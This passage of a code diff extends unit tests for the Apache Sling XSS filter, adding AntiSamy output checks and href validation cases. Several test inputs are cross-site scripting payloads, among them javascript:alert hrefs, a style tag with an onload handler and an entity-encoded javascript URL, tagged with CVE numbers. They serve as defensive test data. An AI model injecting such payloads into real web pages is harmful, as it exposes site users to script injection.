+ testOutputContains("<div style=\"color: #fff\">Test 3 letter code</div>", "color: rgb(255,255,255)", true, true);
+ testOutputContains("<div style=\"color: #000000\">Test</div>", "color: rgb(0,0,0)", true, true);
+ testOutputContains("<div style=\"color: #0000\">Test</div>", "style=\"\"", true, true);
+ }
+
+ private void testOutputContains(String input, String containedString, boolean contains) throws Exception {
+ testOutputContains(input, containedString, contains, false);
+ }
+
+ private void testOutputContains(String input, String containedString, boolean contains, boolean skipComparingInputWithOutput) throws Exception {
+ testOutputContains(input, containedString, contains, skipComparingInputWithOutput, Mode.SAX_AND_DOM);
+ }
+
+ private void testOutputContains(String input, String containedString, boolean contains, boolean skipComparingInputWithOutput,
+ Mode mode) throws Exception {
+ String cleanDOMModeHTML = antiSamy.scan(input, AntiSamy.DOM).getCleanHTML();
+ String cleanSAXModeHTML = antiSamy.scan(input, AntiSamy.SAX).getCleanHTML();
+ if (!skipComparingInputWithOutput) {
+ assertTrue(String.format("Test is not properly configured: input '%s' doesn't seem to contain '%s' (case-insensitive match).",
+ input, containedString), input.toLowerCase().contains(containedString.toLowerCase()));
+ }
+ if (contains) {
+ if (mode == Mode.DOM || mode == Mode.SAX_AND_DOM) {
+ assertTrue(
+ String.format("Expected that DOM filtered output '%s' for input '%s' would contain '%s'.", cleanDOMModeHTML, input,
+ containedString), antiSamy.scan(input, AntiSamy.DOM).getCleanHTML().contains(containedString));
+ }
+ if (mode == Mode.SAX || mode == Mode.SAX_AND_DOM) {
+ assertTrue(String.format("Expected that SAX filtered output '%s' for input '%s' would contain '%s'.", cleanSAXModeHTML,
+ input,
+ containedString), antiSamy.scan(input, AntiSamy.SAX).getCleanHTML().contains(containedString));
+ }
+ } else {
+ if (mode == Mode.DOM || mode == Mode.SAX_AND_DOM) {
+ assertFalse(
+ String.format("Expected that DOM filtered output '%s' for input '%s', would NOT contain '%s'.", cleanDOMModeHTML,
+ input, containedString), antiSamy.scan(input, AntiSamy.DOM).getCleanHTML().contains(containedString));
+ }
+ if (mode == Mode.SAX || mode == Mode.SAX_AND_DOM) {
+ assertFalse(String.format("Expected that SAX filtered output '%s' for input '%s' would NOT contain '%s'.", cleanSAXModeHTML,
+ input, containedString), antiSamy.scan(input, AntiSamy.SAX).getCleanHTML().contains(containedString));
+ }
+ }
+ }
+
+
+ private void testOutpuIsEmpty(String input) throws Exception {
+ String cleanDOMModeHTML = antiSamy.scan(input, AntiSamy.DOM).getCleanHTML();
+ String cleanSAXModeHTML = antiSamy.scan(input, AntiSamy.SAX).getCleanHTML();
+ assertTrue("Expected empty DOM filtered output for '" + input + "'.", StringUtils.isEmpty(cleanDOMModeHTML));
+ assertTrue("Expected empty SAX filtered output for '" + input + "'.", StringUtils.isEmpty(cleanSAXModeHTML));
+ }
+
+ private class TestInput {
+ String input;
+ String expectedPartialOutput;
+ boolean containsExpectedPartialOutput;
+
+ public TestInput(String input, String expectedPartialOutput, boolean containsExpectedPartialOutput) {
+ this.input = input;
+ this.expectedPartialOutput = expectedPartialOutput;
+ this.containsExpectedPartialOutput = containsExpectedPartialOutput;
+ }
+ }
+
+ private enum Mode {
+ SAX, DOM, SAX_AND_DOM;
+ }
+}
+
diff --git a/src/test/java/org/apache/sling/xss/impl/XSSAPIImplTest.java b/src/test/java/org/apache/sling/xss/impl/XSSAPIImplTest.java
index 889fc1c..004e839 100644
--- a/src/test/java/org/apache/sling/xss/impl/XSSAPIImplTest.java
+++ b/src/test/java/org/apache/sling/xss/impl/XSSAPIImplTest.java
@@ -19,10 +19,14 @@ package org.apache.sling.xss.impl;
import java.io.FileInputStream;
import java.io.InputStream;
import java.lang.reflect.Field;
+import java.util.regex.Pattern;
+import org.apache.commons.lang.StringEscapeUtils;
+import org.apache.commons.lang3.StringUtils;
import org.apache.sling.api.SlingHttpServletRequest;
import org.apache.sling.api.resource.ResourceResolver;
import org.apache.sling.xss.XSSAPI;
+import org.apache.sling.xss.XSSFilter;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
@@ -35,6 +39,7 @@ import org.powermock.reflect.Whitebox;
import junit.framework.TestCase;
+import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
import static org.mockito.Matchers.anyString;
import static org.mockito.Mockito.mock;
@@ -202,6 +207,10 @@ public class XSSAPIImplTest {
{"<a href=\"\">empty href</a>", "<a href=\"\">empty href</a>"},
{"<a href=\" javascript:alert(23)\">space</a>","<a>space</a>"},
{"<table background=\"http://www.google.com\"></table>", "<table></table>"},
+ // CVE-2017-14735
+ {"<a href=\"javascript:alert(23)\">X</a>", "<a>X</a>"},
+ // CVE-2016-10006
+ {"<style onload=\"alert(23)\">h1 {color:red;}</style>", "<style>h1 {\n\tcolor: red;\n}\n</style>"}
};
for (String[] aTestData : testData) {
@@ -223,7 +232,7 @@ public class XSSAPIImplTest {
},
{
"/base?backHref=%26%23x6a%3b%26%23x61%3b%26%23x76%3b%26%23x61%3b%26%23x73%3b%26%23x63%3b%26%23x72%3b%26%23x69%3b%26%23x70%3b%26%23x74%3b%26%23x3a%3balert%281%29",
- ""
+ "/base?backHref=%26%23x6a%3b%26%23x61%3b%26%23x76%3b%26%23x61%3b%26%23x73%3b%26%23x63%3b%26%23x72%3b%26%23x69%3b%26%23x70%3b%26%23x74%3b%26%23x3a%3balert%281%29"
},
{
"%26%23x6a%3b%26%23x61%3b%26%23x76%3b%26%23x61%3b%26%23x73%3b%26%23x63%3b%26%23x72%3b%26%23x69%3b%26%23x70%3b%26%23x74%3b%26%23x3a%3balert%281%29",
@@ -278,22 +287,41 @@ public class XSSAPIImplTest {
{"/test/ab`cd", "/test/ab%60cd"},
{"http://localhost:4502/test/ab`cd", "http://localhost:4502/test/ab%60cd"},
// colons in query string
- {"/test/search.html?0_tag:id=test", "/test/search.html?0_tag%3Aid=test"},
+ {"/test/search.html?0_tag:id=test", "/test/search.html?0_tag:id=test"},
{ // JCR namespaces and colons in query string
"/test/jcr:content/search.html?0_tag:id=test",
- "/test/_jcr_content/search.html?0_tag%3Aid=test"
+ "/test/_jcr_content/search.html?0_tag:id=test"
},
{ // ? in query string
"/test/search.html?0_tag:id=test?ing&1_tag:id=abc",
- "/test/search.html?0_tag%3Aid=test?ing&1_tag%3Aid=abc",
+ "/test/search.html?0_tag:id=test?ing&1_tag:id=abc",
+ },
+ {
+ "/test/search.html?0_tag:id=test?ing&1_tag:id=abc#fragment:test",
+ "/test/search.html?0_tag:id=test?ing&1_tag:id=abc#fragment:test",
+ },
+ {
+ "https://sling.apache.org/?a=1#fragment:test",
+ "https://sling.apache.org/?a=1#fragment:test"
+ },
+ {
+ "https://sling.apache.org/#fragment:test",
+ "https://sling.apache.org/#fragment:test"
}
};
+ StringBuilder errors = new StringBuilder();
for (String[] aTestData : testData) {
String href = aTestData[0];
String expected = aTestData[1];
-
- TestCase.assertEquals("Requested '" + href + "'", expected, xssAPI.getValidHref(href));
+ String result = xssAPI.getValidHref(href);
+ if (!expected.equals(result)) {
+ errors.append("Requested '").append(href).append("'\nGot '").append(result).append("'\nExpected '").append(expected).append("'\n\n");
+ }
+ }
+ if (errors.length() > 0) {
+ errors.insert(0, "\n");
+ TestCase.fail(errors.toString());
}
}
@@ -705,4 +733,12 @@ public class XSSAPIImplTest {
}
}
}
+
+ @Test
+ public void testRegex() {
+ Pattern ipPattern = Pattern.compile(XSSFilterImpl.IPv4_ADDRESS);
+ assertTrue(ipPattern.matcher("1.1.1.1").matches());
+ assertTrue(ipPattern.matcher("255.1.1.1").matches());
+ }
+
}